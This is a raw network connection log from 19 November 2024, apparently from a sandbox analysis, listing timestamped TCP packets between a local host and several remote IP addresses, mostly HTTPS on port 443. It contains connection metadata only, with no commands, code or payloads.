Nov 19, 2024 00:02:16.947381973 CET	49808	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:16.949881077 CET	49814	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:16.949918985 CET	443	49814	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:16.950136900 CET	49814	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:16.950195074 CET	49814	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:16.950206995 CET	443	49814	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:17.121906042 CET	49804	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:17.121927023 CET	443	49804	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:17.262764931 CET	49808	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:17.262837887 CET	443	49808	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:17.562043905 CET	443	49810	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:17.568809032 CET	49810	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:17.568869114 CET	443	49810	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:17.569384098 CET	49810	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:17.569401026 CET	443	49810	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:17.578255892 CET	443	49811	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:17.578692913 CET	49811	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:17.578751087 CET	443	49811	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:17.579303980 CET	49811	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:17.579333067 CET	443	49811	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:17.594928026 CET	443	49812	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:17.595254898 CET	49812	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:17.595289946 CET	443	49812	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:17.595802069 CET	49812	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:17.595817089 CET	443	49812	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:17.696216106 CET	443	49810	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:17.696398020 CET	443	49810	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:17.696815014 CET	49810	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:17.696815968 CET	49810	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:17.696815968 CET	49810	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:17.699369907 CET	49815	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:17.699394941 CET	443	49815	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:17.699482918 CET	49815	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:17.699691057 CET	49815	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:17.699704885 CET	443	49815	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:17.701847076 CET	443	49814	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:17.702780008 CET	49814	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:17.702800035 CET	443	49814	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:17.703356981 CET	49814	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:17.703367949 CET	443	49814	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:17.706007004 CET	443	49811	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:17.706280947 CET	443	49811	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:17.706437111 CET	49811	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:17.706552982 CET	49811	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:17.706552982 CET	49811	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:17.706594944 CET	443	49811	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:17.706621885 CET	443	49811	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:17.708441019 CET	49816	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:17.708523989 CET	443	49816	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:17.708606005 CET	49816	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:17.708795071 CET	49816	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:17.708831072 CET	443	49816	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:17.717041016 CET	443	49813	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:17.717385054 CET	49813	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:17.717398882 CET	443	49813	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:17.717968941 CET	49813	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:17.717974901 CET	443	49813	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:17.730957031 CET	443	49812	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:17.731086969 CET	443	49812	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:17.731277943 CET	49812	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:17.731362104 CET	49812	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:17.731363058 CET	49812	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:17.731396914 CET	443	49812	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:17.731420040 CET	443	49812	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:17.733562946 CET	49817	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:17.733622074 CET	443	49817	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:17.733711004 CET	49817	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:17.733814001 CET	49817	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:17.733833075 CET	443	49817	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:17.833595991 CET	443	49814	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:17.833789110 CET	443	49814	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:17.833949089 CET	49814	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:17.833949089 CET	49814	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:17.833949089 CET	49814	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:17.835845947 CET	49818	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:17.835884094 CET	443	49818	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:17.835969925 CET	49818	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:17.836064100 CET	49818	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:17.836076975 CET	443	49818	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:17.852763891 CET	443	49813	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:17.852946997 CET	443	49813	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:17.853029966 CET	49813	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:17.853029966 CET	49813	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:17.853055954 CET	49813	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:17.853066921 CET	443	49813	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:17.855245113 CET	49819	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:17.855329037 CET	443	49819	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:17.855423927 CET	49819	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:17.855531931 CET	49819	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:17.855565071 CET	443	49819	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:17.997044086 CET	49810	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:17.997081041 CET	443	49810	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:18.137533903 CET	49814	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:18.137577057 CET	443	49814	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:18.437700987 CET	443	49815	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:18.438592911 CET	49815	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:18.438623905 CET	443	49815	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:18.438868999 CET	49815	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:18.438878059 CET	443	49815	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:18.441673994 CET	443	49816	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:18.441992998 CET	49816	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:18.442042112 CET	443	49816	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:18.442286015 CET	49816	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:18.442302942 CET	443	49816	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:18.492264986 CET	443	49817	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:18.492811918 CET	49817	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:18.492846012 CET	443	49817	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:18.493030071 CET	49817	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:18.493043900 CET	443	49817	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:18.568396091 CET	443	49815	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:18.569165945 CET	443	49815	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:18.569415092 CET	49815	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:18.569415092 CET	49815	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:18.569415092 CET	49815	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:18.570334911 CET	443	49816	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:18.570496082 CET	443	49816	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:18.570568085 CET	49816	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:18.570664883 CET	49816	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:18.570664883 CET	49816	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:18.570702076 CET	443	49816	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:18.570724010 CET	443	49816	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:18.572951078 CET	49820	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:18.573034048 CET	443	49820	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:18.573132992 CET	49820	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:18.573246002 CET	49821	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:18.573329926 CET	49820	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:18.573333025 CET	443	49821	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:18.573365927 CET	443	49820	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:18.573421001 CET	49821	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:18.573452950 CET	443	49818	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:18.573582888 CET	49821	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:18.573621988 CET	443	49821	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:18.573863983 CET	49818	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:18.573879004 CET	443	49818	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:18.574429035 CET	49818	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:18.574440002 CET	443	49818	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:18.589782000 CET	443	49819	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:18.590528011 CET	49819	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:18.590560913 CET	443	49819	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:18.591187000 CET	49819	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:18.591197968 CET	443	49819	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:18.624578953 CET	443	49817	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:18.624739885 CET	443	49817	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:18.624815941 CET	49817	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:18.624958992 CET	49817	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:18.624989986 CET	443	49817	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:18.625015020 CET	49817	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:18.625030041 CET	443	49817	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:18.628357887 CET	49822	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:18.628437996 CET	443	49822	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:18.628549099 CET	49822	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:18.628710985 CET	49822	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:18.628747940 CET	443	49822	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:18.705488920 CET	443	49818	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:18.705693007 CET	443	49818	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:18.705765009 CET	49818	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:18.705821037 CET	49818	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:18.705842018 CET	443	49818	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:18.705864906 CET	49818	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:18.705878019 CET	443	49818	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:18.708245993 CET	49823	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:18.708336115 CET	443	49823	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:18.708427906 CET	49823	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:18.708555937 CET	49823	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:18.708595037 CET	443	49823	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:18.722100973 CET	443	49819	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:18.722321033 CET	443	49819	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:18.722560883 CET	49819	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:18.722560883 CET	49819	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:18.722562075 CET	49819	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:18.724714994 CET	49824	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:18.724780083 CET	443	49824	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:18.724883080 CET	49824	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:18.724977970 CET	49824	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:18.724997997 CET	443	49824	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:18.872102022 CET	49815	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:18.872114897 CET	443	49815	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:18.950041056 CET	49819	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:18.950073957 CET	443	49819	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:19.315402985 CET	443	49821	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:19.316247940 CET	49821	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:19.316267967 CET	443	49820	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:19.316309929 CET	443	49821	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:19.316564083 CET	49820	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:19.316626072 CET	443	49820	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:19.316914082 CET	49821	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:19.316931963 CET	443	49821	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:19.317028046 CET	49820	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:19.317043066 CET	443	49820	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:19.450962067 CET	443	49821	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:19.451168060 CET	443	49821	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:19.451379061 CET	49821	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:19.451647043 CET	49821	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:19.451693058 CET	443	49821	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:19.451747894 CET	49821	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:19.451764107 CET	443	49821	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:19.454941034 CET	49825	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:19.455034018 CET	443	49825	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:19.455059052 CET	443	49820	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:19.455147982 CET	49825	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:19.455259085 CET	443	49820	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:19.455349922 CET	49825	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:19.455367088 CET	49820	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:19.455368042 CET	49820	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:19.455389977 CET	443	49825	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:19.455426931 CET	49820	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:19.455456018 CET	443	49820	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:19.457654953 CET	49826	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:19.457701921 CET	443	49826	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:19.457792044 CET	49826	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:19.457912922 CET	49826	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:19.457942009 CET	443	49826	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:19.471035004 CET	443	49823	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:19.471759081 CET	49823	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:19.471781969 CET	443	49823	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:19.472325087 CET	49823	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:19.472337008 CET	443	49823	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:19.606654882 CET	443	49823	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:19.606719971 CET	443	49823	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:19.607069969 CET	49823	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:19.607069969 CET	49823	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:19.607069969 CET	49823	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:19.609476089 CET	49827	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:19.609563112 CET	443	49827	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:19.609658957 CET	49827	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:19.609798908 CET	49827	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:19.609837055 CET	443	49827	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:19.792998075 CET	443	49822	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:19.794337988 CET	49822	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:19.794368982 CET	443	49822	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:19.795015097 CET	49822	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:19.795027971 CET	443	49822	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:19.829626083 CET	443	49824	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:19.830209017 CET	49824	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:19.830250025 CET	443	49824	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:19.830832958 CET	49824	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:19.830845118 CET	443	49824	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:19.918543100 CET	49823	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:19.918607950 CET	443	49823	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:19.924231052 CET	443	49822	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:19.924356937 CET	443	49822	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:19.924640894 CET	49822	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:19.925148964 CET	49822	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:19.925148964 CET	49822	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:19.925168991 CET	443	49822	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:19.925180912 CET	443	49822	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:19.928349018 CET	49828	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:19.928433895 CET	443	49828	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:19.928623915 CET	49828	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:19.928683996 CET	49828	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:19.928702116 CET	443	49828	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:19.959453106 CET	443	49824	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:19.959574938 CET	443	49824	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:19.959640026 CET	49824	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:19.959846973 CET	49824	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:19.959846973 CET	49824	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:19.959872961 CET	443	49824	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:19.959912062 CET	443	49824	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:19.962212086 CET	49829	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:19.962249041 CET	443	49829	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:19.962325096 CET	49829	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:19.962440014 CET	49829	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:19.962456942 CET	443	49829	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:20.028830051 CET	49830	443	192.168.2.4	142.250.181.228
Nov 19, 2024 00:02:20.028871059 CET	443	49830	142.250.181.228	192.168.2.4
Nov 19, 2024 00:02:20.029047012 CET	49830	443	192.168.2.4	142.250.181.228
Nov 19, 2024 00:02:20.029301882 CET	49830	443	192.168.2.4	142.250.181.228
Nov 19, 2024 00:02:20.029323101 CET	443	49830	142.250.181.228	192.168.2.4
Nov 19, 2024 00:02:20.187772036 CET	443	49825	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:20.188344955 CET	49825	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:20.188433886 CET	443	49825	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:20.188982010 CET	49825	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:20.188996077 CET	443	49825	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:20.209603071 CET	443	49826	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:20.209975004 CET	49826	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:20.209996939 CET	443	49826	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:20.210385084 CET	49826	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:20.210396051 CET	443	49826	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:20.315572023 CET	443	49825	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:20.315825939 CET	443	49825	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:20.315911055 CET	49825	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:20.316030025 CET	49825	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:20.316066980 CET	443	49825	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:20.316095114 CET	49825	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:20.316108942 CET	443	49825	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:20.321487904 CET	49831	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:20.321518898 CET	443	49831	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:20.321583033 CET	49831	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:20.321880102 CET	49831	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:20.321894884 CET	443	49831	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:20.338251114 CET	443	49827	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:20.340416908 CET	49827	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:20.340440989 CET	443	49827	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:20.341084003 CET	49827	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:20.341094971 CET	443	49827	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:20.343981028 CET	443	49826	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:20.344137907 CET	443	49826	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:20.344202042 CET	49826	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:20.344492912 CET	49826	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:20.344492912 CET	49826	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:20.344516993 CET	443	49826	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:20.344537020 CET	443	49826	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:20.349334955 CET	49832	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:20.349419117 CET	443	49832	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:20.349489927 CET	49832	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:20.349742889 CET	49832	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:20.349778891 CET	443	49832	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:20.502114058 CET	443	49827	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:20.504117966 CET	443	49827	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:20.504184008 CET	49827	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:20.504255056 CET	49827	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:20.504255056 CET	49827	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:20.504295111 CET	443	49827	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:20.504317999 CET	443	49827	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:20.506748915 CET	49833	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:20.506822109 CET	443	49833	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:20.506897926 CET	49833	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:20.507021904 CET	49833	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:20.507055044 CET	443	49833	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:20.686526060 CET	443	49828	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:20.687367916 CET	49828	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:20.687416077 CET	443	49828	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:20.688019037 CET	49828	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:20.688031912 CET	443	49828	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:20.693727016 CET	443	49829	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:20.694057941 CET	49829	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:20.694092035 CET	443	49829	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:20.694574118 CET	49829	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:20.694582939 CET	443	49829	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:20.822385073 CET	443	49828	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:20.822532892 CET	443	49828	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:20.822711945 CET	49828	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:20.823045969 CET	49828	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:20.823081017 CET	443	49828	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:20.823107004 CET	49828	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:20.823121071 CET	443	49828	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:20.824562073 CET	49724	80	192.168.2.4	199.232.214.172
Nov 19, 2024 00:02:20.826128006 CET	49834	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:20.826164007 CET	443	49834	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:20.826236010 CET	49834	443	192.168.2.4	13.107.246.43
